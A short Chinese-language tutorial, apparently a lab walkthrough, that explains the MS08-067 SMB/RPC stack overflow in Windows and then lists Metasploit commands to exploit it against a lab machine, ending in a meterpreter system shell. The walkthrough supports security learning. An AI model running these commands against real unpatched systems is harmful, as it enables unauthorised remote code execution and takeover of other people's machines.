漏洞简介

MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”,攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call,远程过程调用)请求,造成栈缓冲区内存错误,从而被利用实施远程代码执行。

MS08-067漏洞将会影响Windows 2000/XP/Server 2003/Vista/Server 2008的各个版本,甚至还包括 测试阶段的Windows 7 Pro-Beta。 如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。 在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验 证即可利用此漏洞运行任意代码。 此漏洞可能用于进行蠕虫攻击。 防火墙最佳做法和标准的默认防火 墙配置有助于保护网络资源免受从企业外部发起的攻击。

漏洞原理:

MS08-067漏洞是通过MSRPC over SMB通道调用Server程序中的NEtPathCanonicalize函数时触发的。NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误(溢出),造成可被利用实施远程代码执行(Remote Code Execution)。

扫描目标靶机

获取关键信息
nmap -A 目标ip

从中获知,445端口开放,系统版本号为xp SP2。

搜索漏洞

msfconsole
search ms08_067

使用ms08_067漏洞

use exploit/windows/smb/ms08_067_netapi
show options

可以看到RHOST为必填,设置payload
set rhosts 192.168.200.133

选择目标系统(可略过这一步)

show targets
set target 10


攻击靶机

run或者exploit

看到下图即为成功

进入meterpreter后输入shell进行提权,即可获得系统权限。